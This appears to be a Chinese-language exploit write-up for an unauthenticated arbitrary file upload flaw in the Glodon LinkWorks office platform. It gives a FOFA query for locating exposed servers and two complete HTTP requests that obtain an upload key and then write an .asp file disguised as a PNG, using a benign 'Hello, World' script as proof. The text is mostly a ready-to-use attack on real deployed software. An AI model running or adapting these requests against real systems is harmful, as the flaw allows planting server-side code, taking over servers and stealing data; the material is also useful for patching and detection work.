G3-7广联达-Linkworks协同办公管理平台-文件上传

漏洞描述：

由于广联达 LinkWorks /Services/FileService/UserFiles/GetAuthorizeKey.ashx接口处设置不当，未经身份认证的攻击者通过该漏洞上传恶意文件，可导致恶意代码执行、身份伪造、后门植入、敏感数据泄露，服务器被控等问题。

网站图片:

网络测绘:

fofa语法：

body=“Services/Identification/login.ashx” || header=“Services/Identification/login.ashx” || banner=“Services/Identification/login.ashx”

漏洞复现:

创建文件并获取上传授权码
payload：

POST /Services/FileService/UserFiles/GetAuthorizeKey.ashx HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded

cmd=&destDir=./sysinfo/&destFilename=1.asp

效果图:

携带授权码写入文件内容

POST /Services/FileService/UserFiles/UserFilesUpload.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytCOFhbEjc3IfYaY5

------WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="key"

获取到的上传授权码
------WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="destDir"

./sysinfo/
------WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="destFilename"

1.asp
------WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="file";filename="1.asp"
content-type:image/png

<% Response.Write("Hello, World") %>
------WebKitFormBoundarytCOFhbEjc3IfYaY5--

回显了上传路径
验证